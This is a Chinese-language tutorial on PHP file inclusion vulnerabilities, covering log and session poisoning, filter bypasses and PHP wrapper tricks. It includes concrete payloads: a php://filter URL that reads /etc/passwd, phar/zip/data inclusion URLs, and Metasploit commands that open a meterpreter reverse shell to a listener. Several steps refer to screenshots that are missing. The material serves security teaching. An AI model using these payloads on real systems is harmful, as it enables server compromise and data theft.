漏洞概述
漏洞原理
文件包含就是一個文件里面包含另外一個文件。一開始接觸的時候是因為php里面,但是查找了一些資料這個存在在很多語言里面。程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
兩種類型
在默認情況下,allow_url_include是禁用的。
- allow_url_fopen 默認為 On
- allow_url_include 默認為 Off
你可以通過php.ini啟用allow_url_include:
/etc/php7/apache2/php.ini
allow_url_include = On
危害
- Web服務器上的代碼執行
- 跨站點腳本攻擊(XSS)
- 拒絕服務(DOS)
- 數據操縱攻擊
代碼審計函數
PHP文件包含函數:include、require、include_once、require_once。
include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯並退出程序的執行。
include_once(),require_once()這兩個函數,與前兩個的不同之處在於這兩個函數只包含一次,適用於在腳本執行期間同一個文件有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。
本地文件包含
本地文件包含還可能需要配合跨目錄字符(../)、文件上傳功能。
環境搭建
僅且編寫一個存在文件包含的php文件放在網站根目錄下。

Apache投毒
Apache日志記錄的是請求路徑和UA頭,由於請求路徑被URL編碼了,所以可以在UA上下功夫。

直接訪問Apache日志文件是訪問不到的。因此也是這種方式雞肋的地方。不過可以通過這個方式持續的控制目前服務器。

這是因為權限不足,給整個目錄賦予775權限。


賦予權限后,通過蟻劍就可以連接成功了。

SSH投毒
SSH投毒同理,SSH日志是auth.log:
session包含
當傳入的值會存儲到session文件中,如果存在本地文件包含漏洞,就可以寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell。
遠程文件包含
當服務器支持遠程文件包含的話,可以在自己服務器上上傳一個惡意的文本文件,讓被攻擊服務器去遠程包含惡意文件,執行命名即可。
繞過Tips
編碼繞過
當服務端對../和./進行過濾,可以通過編碼進行繞過(url編碼、URL二次編碼、容器/服務器的編碼方式等)。
空字節
利用條件: < php版本 5.3.4
這種情況是服務端在文件包含的時候添加了一個固定的文件后綴比如是(.php),這樣會導致請求/etc/passwd會變成/etc/passwd.php,這樣就找不到文件了。
當我們面對此類問題時,請進行NULL BYTE攻擊(因為%00在C語言中代表結束,PHP是基於C語言的)。
長度截斷
利用條件:< php 5.2.8。
一直重復目錄字符串(./),在linux下4096字節時會達到最大值,在window下是256字節。
問號與井號
針對服務器添加后綴,可以在后面添加?和#。
Base64編碼
有些時候,當你無法讀取PHP文件內容時,你也可以通過php協議通過base64編碼進行輸出:
php://filter/read=convert.base64-encode/resource=/etc/passwd

PHP輸入函數
利用條件:需要allow_url_include = On

使用Metasploit平台來利用該漏洞:
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>exploit
把cmd參數改為划線的一行代碼即可:

phar協議
利用條件:php版本>=php5.3.0
當有個文件phpinfo.txt,其內容為<?php phpinfo(); ?>,並將其打包成zip壓縮包(shell.zip)。

相對路徑:
http://10.20.40.96/index.php?file=phar://shell.zip/phpinfo.txt
絕對路徑:
http://10.20.40.96/index.php?file=phar:///var/www/html/shell.zip/phpinfo.txt

zip協議
利用條件:php版本>=php5.3.0
相對路徑會包含失敗,只能使用絕對路徑
http://10.20.40.96/index.php?file=zip:///var/www/html/shell.zip%23phpinfo.txt
data://偽協議
利用條件:
- php版本 <= php5.2
- allow_url_fopen = On
- allow_url_include = On
讀文件:
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
file://偽協議
